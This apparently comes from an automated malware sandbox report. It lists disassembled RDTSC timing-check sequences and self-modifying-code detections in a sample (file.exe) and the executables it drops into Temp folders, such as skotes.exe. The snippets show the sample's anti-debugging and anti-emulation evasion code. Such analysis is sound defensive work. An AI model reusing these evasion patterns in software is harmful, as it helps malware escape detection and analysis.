Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0B73 second address: 52A0BAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F98FDE83306h 0x0000000e push 76952B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [769B4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 jmp 00007F988C7CE31Bh 0x00000059 popad 0x0000005a sub esi, esi 0x0000005c jmp 00007F988C7CE31Fh 0x00000061 mov dword ptr [ebp-1Ch], esi 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0BAD second address: 52A0BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0BD7 second address: 52A0BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0BDD second address: 52A0BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0293h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0BFE second address: 52A0C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C02 second address: 52A0C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C06 second address: 52A0C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C0C second address: 52A0C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0299h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C29 second address: 52A0C45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F98FDE7206Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov esi, 517075A5h 0x00000016 mov esi, 3117C721h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0C45 second address: 52A0C6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988D0B028Dh 0x00000009 or cx, CDF6h 0x0000000e jmp 00007F988D0B0291h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0933 second address: 52C094C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov cl, 81h 0x00000007 popad 0x00000008 push ebp 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d mov bh, CBh 0x0000000f popad 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C094C second address: 52C0950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0950 second address: 52C0954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0954 second address: 52C095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C095A second address: 52C095F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C095F second address: 52C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov di, 1318h 0x00000011 mov edi, 072B48C4h 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 pushad 0x0000001a mov eax, 2138DB65h 0x0000001f mov bl, ah 0x00000021 popad 0x00000022 mov dword ptr [esp], esi 0x00000025 jmp 00007F988D0B028Dh 0x0000002a mov esi, dword ptr [ebp+0Ch] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F988D0B028Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09A3 second address: 52C09C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F988C7CE31Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09C9 second address: 52C09D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B028Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09D9 second address: 52C09F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F98FDE5BCE3h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov si, di 0x00000017 push edi 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09F9 second address: 52C09FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09FE second address: 52C0AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a cmp dword ptr [769B459Ch], 05h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F988C7CE31Dh 0x00000018 sub cl, FFFFFF86h 0x0000001b jmp 00007F988C7CE321h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F988C7CE320h 0x00000027 jmp 00007F988C7CE325h 0x0000002c popfd 0x0000002d popad 0x0000002e je 00007F98FDE73D52h 0x00000034 pushad 0x00000035 push ecx 0x00000036 pushfd 0x00000037 jmp 00007F988C7CE323h 0x0000003c adc ecx, 3D75801Eh 0x00000042 jmp 00007F988C7CE329h 0x00000047 popfd 0x00000048 pop eax 0x00000049 popad 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0AA0 second address: 52C0AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0AA4 second address: 52C0AB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B50 second address: 52C0B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0290h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B64 second address: 52C0B68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B68 second address: 52C0B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B79 second address: 52C0B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0BAA second address: 52C0BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B028Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0BBA second address: 52C0BF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007F988C7CE327h 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F988C7CE325h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: B1E59B second address: B1E5CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0296h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F988D0B0296h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: B1E5CE second address: B1E5D3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAA528 second address: CAA52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAA52C second address: CAA54A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Bh 0x00000007 jbe 00007F988C7CE316h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAA54A second address: CAA55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F988D0B0286h 0x0000000d jp 00007F988D0B0286h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAA55D second address: CAA567 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F988C7CE316h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CA96E4 second address: CA96EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F988D0B0286h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CA96EE second address: CA9709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE327h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CA999D second address: CA99D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0292h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b ja 00007F988D0B029Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CA99D4 second address: CA99DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAD04F second address: CAD064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0291h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAD225 second address: CAD269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F988C7CE316h 0x00000009 jmp 00007F988C7CE324h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F988C7CE329h 0x00000018 pushad 0x00000019 jbe 00007F988C7CE316h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAD399 second address: CAD39D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CAD39D second address: CAD3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: C8FCD3 second address: C8FCDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F988D0B0286h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCBA7E second address: CCBA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F988C7CE316h 0x0000000a popad 0x0000000b jbe 00007F988C7CE318h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCBA91 second address: CCBA9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F988D0B0286h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCBA9E second address: CCBAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F988C7CE31Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCC013 second address: CCC02D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0296h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCC02D second address: CCC033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCC4A2 second address: CCC4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCC88C second address: CCC893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCC9B5 second address: CCC9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCD075 second address: CCD087 instructions: 0x00000000 rdtsc 0x00000002 js 00007F988C7CE31Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCD087 second address: CCD08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCD2EB second address: CCD2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CCD2EF second address: CCD311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F988D0B0299h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD2E95 second address: CD2ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE323h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F988C7CE323h 0x00000014 jnc 00007F988C7CE316h 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD2ED2 second address: CD2EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F988D0B0296h 0x0000000b popad 0x0000000c jmp 00007F988D0B028Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD4E0A second address: CD4E10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD4E10 second address: CD4E21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F988D0B028Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD3C10 second address: CD3C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD568A second address: CD569B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B028Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8B2C second address: CD8B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8B32 second address: CD8B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F988D0B0296h 0x00000008 push edx 0x00000009 pop edx 0x0000000a ja 00007F988D0B0286h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F988D0B0292h 0x00000017 ja 00007F988D0B0286h 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8B75 second address: CD8B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE328h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8B91 second address: CD8BA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F988D0B0286h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8BA1 second address: CD8BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8BA5 second address: CD8BBB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F988D0B0286h 0x00000008 jo 00007F988D0B0286h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8BBB second address: CD8BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8BBF second address: CD8BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	RDTSC instruction interceptor: First address: CD8BC3 second address: CD8BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 76EB8D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 913A9A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 93DB4D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 928E15 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 76EAC4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9A2BCD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Special instruction interceptor: First address: B1DDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Special instruction interceptor: First address: CD3DB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Special instruction interceptor: First address: CFF7D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Special instruction interceptor: First address: B1DDF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Special instruction interceptor: First address: D6F7B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Special instruction interceptor: First address: 101775A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Special instruction interceptor: First address: 1015F7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Special instruction interceptor: First address: 102BFAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Special instruction interceptor: First address: 10AA8D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CA775A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CA5F7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CBBFAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D3A8D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Special instruction interceptor: First address: 105EB8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Special instruction interceptor: First address: 1203A9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Special instruction interceptor: First address: 122DB4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Special instruction interceptor: First address: 1218E15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Special instruction interceptor: First address: 105EAC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Special instruction interceptor: First address: 1292BCD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 42D9CF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 42DAB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 5D726D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 5D5B39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 5D5760 instructions caused by: Self-modifying code
